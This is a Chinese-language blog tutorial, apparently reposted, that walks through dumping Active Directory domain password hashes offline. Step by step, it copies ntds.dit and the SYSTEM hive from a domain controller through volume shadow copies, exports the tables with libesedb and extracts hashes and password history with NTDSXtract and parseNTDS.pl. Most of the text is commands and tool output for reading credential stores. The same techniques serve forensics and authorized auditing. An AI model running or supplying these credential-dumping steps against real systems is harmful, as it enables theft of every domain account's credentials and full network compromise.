欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

使用NTDSXtract离线抓取Domain Hash

程序员文章站 2022-03-27 21:32:45
下载NTDSX http://www.ntdsxtract.com/  下载libesedb http://code.google.com/p/libesedb/...
下载NTDSX

http://www.ntdsxtract.com/

 下载libesedb

http://code.google.com/p/libesedb/

获得ntds.dit和SYSTEM文件:

2008和2012的域控用ntdsutil命令,网上有。

2008以下的域控,创建磁盘的shadow copy,然后拷贝ntds.dit和system。

有两个工具可共选择:

Vssown.vbs

网上都有,很简单。

windows的VSSSDK

去官网上下载,是个SDK需要安装,安装完后VSSSDK72\TestApps\vshadow目录下有源码和bin文件vshadow.exe,bin文件可以直接用,xp和2003的两个版本都有。网上也有单独的vshadow.exe文件。

vshadow.exe -exec=%ComSpec% C:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system .

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit .

Exit

Exit

网上有个bat,也可以用。

http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx

保存为CopyFile.cmd,和vshadow.exe放在同一目录下。

CopyFile.cmd c:\windows\system32\config\system c:\

Linux
编译libesedb:

下载libesedb,文件名:libesedb-alpha-20120102.tar.gz。

解压:

tar -xf libesedb-alpha-20120102.tar.gz

cd libesedb-20120102

./configure

make

提取ntds.dit中的表:

cd esedbtools/

./esedbexport -t ../../NTDS/ntds.dit ../../NTDS/ntds.dit

root@bt:/MyDisk/libesedb-20120102/esedbtools# ls ../../NTDS/ntds.dit.export

datatable.3 link_table.4 MSysObjects.0 MSysUnicodeFixupVer1.2 quota_table.8 sd_table.7

hiddentable.5 MSysDefrag1.10 MSysObjectsShadow.1 quota_rebuild_progress_table.9 sdproptable.6

我们只需要datatable 和 link_table。

解析ntds文件:

下载NTDSXtract,文件名:ntdsxtract_v1_0.zip。

解压:

unzip ntdsxtract_v1_0.zip

cd NTDSXtract\ 1.0/

python dsusers.py ../NTDS/ntds.dit.export/datatable.3 ../NTDS/ntds.dit.export/link_table.4 –passwordhashes ../NTDS/system

使用parseNTDS.pl:

parseNTDS.pl 用来处理NTDSX的结果。

http://www.cyberis.co.uk/downloads/parseNTDS.pl

Linux创建一个这个文件,赋予可执行权限,chmod +x parseNTDS.pl

将NTDSX的结果重定向到文件ntds.output;

python dsusers.py ../NTDS/ntds.dit.export/datatable.3 ../NTDS/ntds.dit.export/link_table.4 –passwordhashes ../NTDS/system > ../NTDS/ntds.output

./paresNTDS.pl -f ./ntds.output –lmonly 只显示hash值;

./paresNTDS.pl -f ./ntds.output –removedisable 去除无效账户;

其他的看usage,讲得很清楚。

Windows:
编译libesedb:

解压libesedb压缩包,msvscpp文件夹下有个Visual Studio 2008的 解决方案文件,用2008或

以上编译器打开,编译全部文件即可;不要修改其项目配置,编译不会出现问题。

使用\msvscpp\Release\esedbexport.exe文件提取ntds.dit文件中的表。

同目录下libesedb.dll是其依赖库,要放在一起。

提取ntds.dit中的表:

和Linux下一样,esedbexport.exe -l .\ntds.log -t .\ntds.dit .\ntds.dit

Opening file.

Exporting table 1 (MSysObjects) out of 11.

Exporting table 2 (MSysObjectsShadow) out of 11.

Exporting table 3 (MSysUnicodeFixupVer1) out of 11.

Exporting table 4 (datatable) out of 11.

Exporting table 5 (link_table) out of 11.

Exporting table 6 (hiddentable) out of 11.

Exporting table 7 (sdproptable) out of 11.

Exporting table 8 (sd_table) out of 11.

Exporting table 9 (quota_table) out of 11.

Exporting table 10 (quota_rebuild_progress_table) out of 11.

Exporting table 11 (MSysDefrag1) out of 11.

Export completed.

只需要datatable和link_table。

解析ntds文件:

Windows上需要安装python。本人装的是Python 2.6。

由于NTDSX使用到了python的一个加密库文件pycrypto,所以我们需要下一个。

官网:

http://pypi.python.org/pypi/pycrypto/2.6

下载后需要编译,windows上编译比较麻烦。

http://www.voidspace.org.uk/python/modules.shtml#pycrypto

这里有已编译好的。

安装完python再安装pycrypto即可。

其他的跟Linux上一样的。

python dsusers.py ..\ntds.dit.export\datatable.3 ..\ntds.dit.export\link_table.4 –passwordhashes ..\system –passwordhistory ..\system –member ..\system

使用parseNTDS.pl:

和linux一样,有perl环境就行。